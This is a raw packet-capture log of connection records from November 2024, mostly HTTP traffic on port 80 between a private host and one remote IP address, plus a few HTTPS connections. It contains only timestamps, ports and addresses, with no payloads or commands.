Nov 24, 2024 00:06:52.649008989 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.649058104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.649125099 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.649172068 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.649970055 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.650036097 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.650089025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.650170088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.650844097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.650890112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.650940895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.650994062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.651712894 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.651777029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.651807070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.651848078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.652570963 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.652627945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.652678967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.652749062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.653464079 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.653506994 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.653517008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.653539896 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.654325008 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.654386997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.654433966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.654500008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.655200005 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.655287981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.655308008 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.655337095 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.656122923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.656172037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.656219959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.656260967 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.656959057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.657041073 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.657064915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.657104969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.657852888 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.657918930 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.657934904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.658257961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.658750057 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.658838034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.658885002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.659598112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.659652948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.659660101 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.659697056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.660480022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.660540104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.660587072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.660629034 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.661348104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.661401033 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.661453009 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.661550045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.662226915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.662269115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.662457943 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.662517071 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.663106918 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.663141966 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.663253069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.663291931 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.663985968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.664041042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.664084911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.664122105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.664869070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.664921999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.664927959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.664967060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.665709019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.665757895 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.706892967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.706918001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.706959009 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.706995964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.707154989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.707233906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.707237959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.707277060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.708093882 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.708173037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.708226919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.708918095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.709005117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.709036112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.709083080 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.709902048 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.709952116 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.710016966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.710057020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.710664034 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.710719109 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.710777998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.710896015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.711585045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.711637974 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.711697102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.711752892 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.712456942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.712506056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.712563038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.712603092 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.713368893 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.713468075 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.713699102 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.714195013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.714246035 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.714319944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.714363098 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.715084076 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.715157986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.715189934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.715238094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.715962887 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.716063976 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.716130972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.716866970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.716922045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.716974020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.717015028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.717729092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.717817068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.717879057 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.718604088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.718672037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.718722105 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.719485044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.719579935 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.719595909 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.719683886 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.720356941 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.720411062 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.720458031 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.720649958 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.721235037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.721301079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.721353054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.721398115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.722127914 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.722177029 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.722229958 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.722270012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.722989082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.723031998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.723176956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.723225117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.723859072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.723932028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.723979950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.724025965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.724745989 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.724793911 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.724849939 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.724893093 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.725613117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.725658894 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.725713968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.725960016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.726495981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.726541042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.726609945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.726656914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.727385998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.727435112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.727485895 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.727526903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.728251934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.728296995 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.728355885 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.728394032 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.729161024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.729223013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.729269981 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.729382992 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.730073929 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.730124950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.730134010 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.730168104 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.730910063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.730958939 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.731009007 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.731049061 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.731776953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.731836081 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.731884956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.731931925 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.732652903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.732697964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.732757092 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.732795000 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.733513117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.733572960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.733625889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.733665943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.734380960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.734431982 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.734499931 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.734538078 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.735227108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.735282898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.825370073 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.825438976 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.825505972 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.825704098 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.825725079 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.825738907 CET	49888	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.825743914 CET	443	49888	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.830938101 CET	49901	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.830981970 CET	443	49901	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.831059933 CET	49901	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.831249952 CET	49901	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.831258059 CET	443	49901	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.852720022 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.852813005 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.853060961 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.853099108 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.853118896 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.853142023 CET	49885	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.853149891 CET	443	49885	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.856561899 CET	49902	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.856671095 CET	443	49902	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.856822968 CET	49902	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.856971979 CET	49902	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:52.857000113 CET	443	49902	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:52.859479904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.859515905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.859535933 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.859564066 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.859858036 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.859899998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.859966993 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.860214949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.860755920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.860893011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.860912085 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.860938072 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.861610889 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.861663103 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.861720085 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.861795902 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.862513065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.862615108 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.862638950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.862658024 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.863415956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.863482952 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.863632917 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.863675117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.864248991 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.864303112 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.864357948 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.864398003 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.865142107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.865225077 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.865241051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.865278006 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.866010904 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.866065025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.866085052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.866153002 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.866890907 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.866991043 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.867026091 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.867074966 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.867778063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.867868900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.867919922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.868660927 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.868710995 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.868745089 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.868782997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.869539022 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.869590998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.869637966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.869743109 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.870413065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.870522022 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.870528936 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.870564938 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.871324062 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.871366978 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.871403933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.871439934 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.872159958 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.872199059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.872265100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.872298956 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.873053074 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.873132944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.873172998 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.873928070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.874000072 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.874042988 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.874079943 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.874799967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.874846935 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.874898911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.874943972 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.875690937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.875755072 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.875771999 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.875814915 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.917377949 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.917443037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.917448044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.917480946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.917781115 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.917829037 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.917882919 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.917922974 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.918723106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.918782949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.918836117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.918889999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.919549942 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.919605017 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.919661045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.919778109 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.920417070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.920465946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.920515060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.920553923 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.921322107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.921382904 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.921587944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.921639919 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.922229052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.922271967 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.922439098 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.922580957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.923042059 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.923089027 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:52.923202038 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:52.923244953 CET	49818	80	192.168.2.6	185.215.113.206
